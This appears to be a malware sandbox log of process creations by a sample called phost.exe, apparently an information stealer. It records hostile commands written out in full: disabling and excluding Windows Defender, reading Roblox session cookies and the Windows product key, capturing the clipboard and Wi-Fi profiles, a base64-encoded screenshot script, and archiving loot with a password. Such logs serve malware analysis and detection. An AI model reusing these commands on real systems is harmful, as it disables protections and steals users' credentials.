Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.cmdline"
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBE0B.tmp" "c:\Users\user\AppData\Local\Temp\jnxiphgt\CSC11F91C33F0BB4EC3B771882E34D952E.TMP"
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe a -r -hp"Logger1@12345" "C:\Users\user\AppData\Local\Temp\C7XW6.zip" *"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe a -r -hp"Logger1@12345" "C:\Users\user\AppData\Local\Temp\C7XW6.zip" *
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Users\user\Desktop\phost.exe "C:\Users\user\Desktop\phost.exe"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\phost.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Verify your permission and try again.', 0, 'Access Denied', 48+16);close()""	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\?? ? .scr'"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\phost.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Verify your permission and try again.', 0, 'Access Denied', 48+16);close()"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\?? ? .scr'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
